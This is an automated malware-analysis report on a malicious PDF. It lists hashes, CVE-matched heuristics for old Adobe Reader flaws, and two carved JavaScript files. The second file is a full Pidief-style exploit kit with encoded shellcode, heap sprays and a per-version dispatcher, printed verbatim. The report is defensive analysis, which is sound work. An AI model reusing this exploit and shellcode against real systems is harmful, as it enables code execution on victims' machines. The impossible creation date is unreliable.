Malicious PDF — malware analysis report

Static analysis result for SHA-256 a7a7e6005df2742d…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 421e5087fda81689a4765806a5339863 SHA-1: 8c4cbcea412f045ee17bd376d3dcc9cf11fe95c7 SHA-256: a7a7e6005df2742d19cae2c83bf3d1b428452e8028c3c60d48e2ebc2a66a09d6
516 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is obfuscated using String.fromCharCode, a common technique to evade static analysis. The embedded JavaScript file, javascript_obj0001_000.js, is likely responsible for executing the malicious payload. The exact intent of the script could not be fully determined due to obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 570 bytes
SHA-256: 12893c47e47aff774bf6d1f965740b070fa3c7c8d40a570293a6a8c907e16984
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
qtpl='';
var q = date.getFullYear()-2007;
fgy='2011s'.replace(date.getFullYear(),'hi');
g=new Function('','return t'+fgy);
g=g();
pfuyx=('tit2011').replace(date.getFullYear(),'le');
var jaha = g[pfuyx];
wdjp=('sub2011').replace(date.getFullYear(),'ject');
var ofe=g[wdjp].replace(date.getFullYear(),'al');
fmoko=g[ofe];
xbkm='pro2011cer';
xbkm=fmoko('xbkm.replace(date.getFullYear(),"du")');
qgq=fmoko(g[xbkm]);
ohmxt = fmoko(jaha);
for (i = 0; i < ohmxt.length; i++) {
	fobtz = ohmxt[i];
	qtpl += qgq(fobtz);
}
fmoko(qtpl);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2FD 3648 bytes
SHA-256: 92d8e93c070d76e43d30b715548bcf0276b0b39b002900d28af5b576b7c6a775
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ud934%ue2aa%uc3fa%ue5e8%uffff%u30ff%ud8d5%ud9d9%u5887%u8535%ud9d8%u50d9%u543e%uc996%ub654%ue88d%u8e02%u8a88%u8a8a%u8a8a%u8a8a%u8a8c%ub18a%ud8dd%ud9d9%u8f8c%ub18a%ub7b6%ud9d9%uacb1%ub5ab%u8db4%u57b1%ud797%u3135%ud991%ud9d9%u3189%ud9a5%ud9d9%u0926%u1d5a%ub1d1%u3696%udc96%u3189%ud9b5%ud9d9%u0926%u195c%uceac%u8db3%u2a80%ub173%u27ab%ucf6a%uc431%ud9d9%u89d9%u8831%ud9d9%u26d9%u8a09%u27b3%u50b1%ud8b6%u3164%ud9d1%ud9d9%u3189%ud9e5%ud9d9%u0926%ue8b9%ubd19%u8952%u52e9%ud58b%u8b52%u52cd%uf1ab%uc160%ud9d9%ue8d9%ue826%u7519%ub8e5%udba5%uf9f5%u1618%ud8d4%u3b1e%u5829%u8226%u9365%u52b3%uc99b%ucb52%u00ac%u9d50%uc5fd%u1ab8%u52b9%ufdb5%u52fd%ue59c%u8d52%ua1dc%u33d8%u9352%u52c1%uf983%u32d8%ued3a%u5290%u52ed%u37d8%u26e8%u19e8%u7525%u195d%udead%u1618%ud8d4%u321e%ue22d%ufda5%uacf1%u5238%ufd83%u32d8%u52bf%u92d5%u8352%ud8c5%u5232%u52dd%u31d8%u9d50%uc5fd%u1bb8%ud9d1%u3631%u2627%ub126%uadad%ue3a9%uf6f6%ue0e8%uf7ec%ue9e1%ue8f7%ue8ec%ue8f7%uecec%ubdf6%ua9f7%ua9b1%ubfe6%ue8e4%ubcff%ueae4%u00d9';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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